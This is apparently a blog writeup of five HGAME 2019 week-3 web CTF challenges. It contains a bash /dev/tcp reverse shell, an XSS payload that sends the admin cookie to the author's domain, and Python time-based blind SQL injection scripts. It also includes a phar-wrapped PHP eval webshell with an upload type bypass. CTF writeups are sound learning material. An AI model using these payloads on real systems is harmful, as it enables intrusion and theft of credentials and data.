hgame 2019 web week3 writeup(week4咕了,因为没做完)

week3

1.神奇的MD5
描述
flag在根目录下(请善待学生机)
URL http://118.25.89.91:8080/question/login.php
打开之后是一个登陆界面,有username,password和secret code三个值

尝试登陆发现三个值任意两个相同都会提示"Your input can't be the same"
而都不同又会提示"Invalid password"
尝试注入等方式无果
上脚本扫一下目录
发现存在.login.php.swp文件
下载,vim -r还原后获得源码(去除无用部分):

<?php
session_start();
error_reporting(0);


    if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
    {
        $username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        $code     = (string)$_POST['code'];

        if (($username == $password ) or ($username == $code)  or ($password == $code)) { 
            echo "Your input can't be the same";
        } 
        else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
            echo "Good"; 
	    
            header('Location: admin.php');  
            exit();
        } else {
            echo "<pre> Invalid password</pre>";
        }
    }

?>

可以看到基本逻辑是要求三个值均不相同,但md5值相同
之后会重定向到admin.php
尝试直接访问admin.php,提示要先登录
想到以前看过的关于md5碰撞的文章,可以用这个生成内容不同但md5相同的二进制文件
成功生成后使用curl带上cookie进行提交(别的方法我也不会):

curl -X POST http://118.25.89.91:8080/question/login.php --cookie 'you_cookie' --data-urlencode username@/path/python-md5-collision/out_test_000.txt --data-urlencode password@/path/python-md5-collision/out_test_001.txt --data-urlencode code@/path/python-md5-collision/out_test_002.txt

提交之后提示good
这时候访问admin.php,发现可以访问了
这是一个可以执行命令的页面

题目描述提到flag在根目录,于是cat /flag
发现被ban了

考虑反弹个shell
在自己vps上执行

nc -lvv 8123

在admin.php中执行

bash -c 'bash -i >& /dev/tcp/yourIP/8123 0>&1'

成功反弹,直接cat /flag即可

2.sqli-1
描述
sql 注入 参数是id
URL http://118.89.111.179:3000/
没啥好说的,有回显的数字型注入,手工注入即可
用了一个substr(md5($_GET["code"]),0,4) === xxxx的形式当验证码,python跑一下1-1000000对应的md5,一般都能找到合适的
最终payload:
id=-1%20union%20select%20`f14444444g`%20from%20hgame.f1l1l1l1g#

3.sqli-2
描述
sql 注入
URL http://118.89.111.179:3001/?id=1
盲注,似乎过滤了逗号或者if,总之if(1,1,sleep(1))的形式不能用,用case when then end的形式
没什么好说的,具体见脚本:

import hashlib
import requests
import re
import string
def calmd5(src):
    m = hashlib.md5()
    m.update(src.encode('UTF-8'))
    return m.hexdigest()
def findcode(tomatch):
    for i in range(10000000):
        if calmd5(str(i))[:4] == tomatch:
            return i
    print('not found md5')

s = requests.session()
dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation

flag = ''
length = 0

for i in range(1,40):
    for j in dic:
        url1 = 'http://118.89.111.179:3001/'
        r = s.get(url1)
        match = re.search('substr\(md5\(\$_GET\["code"\]\),0,4\) === (.*)<br>', r.text)
        code = findcode(match.group(1))
        # print(r.text)
        url2 = "http://118.89.111.179:3001/?code={0}&id=1%20and%20case%20when%20(ord(substring((select `fL4444Ag` from `F11111114G`)%20from%20{1}%20for%201))={2})%20then%20sleep(1)%20else%20sleep(0)%20end#".format(code, i, ord(j))
        # print(url2)
        res = s.get(url2)
        # print(res.text)
        if res.elapsed.seconds >= 1:
            flag += j
            print(flag)
            break
    if i != len(flag):
        break

4.BabyXss
描述
save按钮尝试xss(尝试过程不需要输验证码),成功后带上验证码code,submit按钮提交xss语句;flag在admin的cookie里面,格式hgame{xxxxx}。
URL http://118.25.18.223:9000/index.php
打开之后是一个输入框

先用aaaaaaa做尝试寻找位置

发现直接在外面
尝试直接alert:

<script>alert(1);</script>

发现只剩下了"alert(1);",存在过滤
看这种形式是把替换成了空
尝试以下方法

<scr<script>ipt>alert(1);</scr<script>ipt>

发现成功弹窗

当输入验证码提交后会提示

显然有一个机器人admin会访问我们植入xss代码的网页
而题目描述说flag在admin的cookie里,则可通过提交如下方式偷取cookie:

<scr<script>ipt>document.location = 'http://eustiar.tk/?a='+document.cookie;</scr<script>ipt>

因为要先save再submit,而在save之后,因为自己的js代码已经插入到了页面中,所以访问该页面会直接跳转到我自己的网站,所以用burp提交

然后查看日志得到flag

5.基础渗透
描述
综合利用各种漏洞来getshell,然后找到被藏起来的flag。
URL http://111.231.140.29:10080
很有难度的一道题,本周的最后才(在大佬的提示下)做出来

打开页面发现是一个登录窗口,可以注册
注册之后是一个类似博客的东西,可以写/删留言,另一个页面可以上传头像,修改密码

先试试各部分功能,用burp抓抓包看看
再扫一下目录
发现除了login/register.php外,存在user.php、message.php等文件
注意到url的形式为

http://111.231.140.29:10080/index.php?action=user

作为一个web狗,凭直觉感觉这里可能存在文件包含
使用filter:

action=php://filter/read=convert.base64-encode/resource=user

发现果然可以读取源码

把源码都dump下来,审计
其中index.php源码如下

<?php
include_once("template/header.php");
if (is_null($_SESSION['user_id'])) {
    header('Location:/login.php');
    exit();
}
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>

这里使用了require进行了限定后缀为.php的文件包含
function.php包含了许多函数,其中上传头像部分如下:

function upload_avatar()
{
    $type = $_FILES['file']['type'];
    $user_id = $_SESSION['user_id'];
    if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
        $avatar = get_avatar($user_id);
        if ($avatar == null) {
            $name = rand_filename();
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
            $sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
            sql_query($sql_query);
        } else {
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

        }
    }
}

这里的判断类型非常容易绕过,上传的时候burp抓一下包,把content-type改成代码中限制的三种即可
那么目前的大致思路也有了
通过上传头像,上传一个shell,然后通过index的文件包含进行包含
问题是index中文件包含限定了后缀为.php
而从上述代码中可以看到,文件上传后名字变为rand_filename()+.png,前者在源码中有,是一个15字节的随机字符串
看到这里立马想到了航神之前给队内web训练出的题目,使用phar协议来绕过.php的后缀限制
具体可以看这篇文章
于是使用如下代码生成一个包含shell的phar文件

<?php
$phar = new Phar('shell.phar', 0);
$phar['shell.php'] = '<?php eval($_POST[\'cmd\']);?>' ;
$phar->setStub('<?php __HALT_COMPILER();?>');
?>

注意,使用phar要保证phar.readonly为off,在php.ini(找不到的可以看phpinfo)中设置

上传,用burp改一下type

完成后看一下源代码,发现的确上传成功了(base64解码为文件内容)

上传成功之后,现在就需要包含了,那么问题又来了,我们可以从源代码中知道头像文件的路径是img/avatar/***.png,但它的名字是随机的,我们并不知道
后来经过大佬提示,得知要通过sql注入找出文件名
继续审计,尝试过后发现在delete处存在时间盲注

function delete_message($message_id)
{
    $user_id = $_SESSION['user_id'];
    if ($_POST['token'] === $_SESSION['token']) {
        if ($_SESSION['groups'] == 0) {
            $sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
        } elseif ($_SESSION['groups'] == 1) {
            $sql_query = "delete from `messages` where `message_id`=$message_id";
        }
        sql_query($sql_query);

    }
}

其中的$message_id可控,经过了addslashes处理
sql注入就不多说了,看脚本:

import string
import requests
dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation
flag = ''
length = 0
cookie = {
        'PHPSESSID':'eer7hhrr466rlnioiv7ip7btnm',
        'user':'eustiar321',
        'groups':'0'
        }
data = {
        "message_id":" ",
        "token":"py3ZFHgeZu4w1qA9r5HYgAfvRFd9ZD7jmX0uXcpgOmWDPrG7"
        }
for i in range(1,40):
    length = len(flag)
    for j in dic:
        url1 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
        payload = "1825 and if(ord(substring((select `avatar` from `users` where `user_id`=501),{0},1))={1},sleep(1),sleep(0))%23".format(i, ord(j))
        data["message_id"] = payload
        # print(data)
        res = requests.post(url1, cookies = cookie, data = data)

        if res.elapsed.seconds >= 1:
            flag += j
            print(flag)
            break
    if length == len(flag):
        break

可以得到文件名a06baba27158529
则通过action=phar://img/avatar/a06baba27158529.png/shell
可以使用shell

题目说flag藏起来了,那我们用find找一下:
find / -name 'flag'
找到两个结果:
/usr/lib/flag /usr/lib/flag/flag
前者是目录,后者是flag,不过我们没有权限查看,但flag目录下还有一个get_flag
运行/usr/lib/get_flag,给出用法,可以通过该程序读取flag(突然想到了这学期计算机系统安全课的内容)
最终payload:
action=phar://img/avatar/a06baba27158529.png/shell
同时post如下数据:
cmd=system("/usr/lib/flag/get_flag /usr/lib/flag/flag");

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注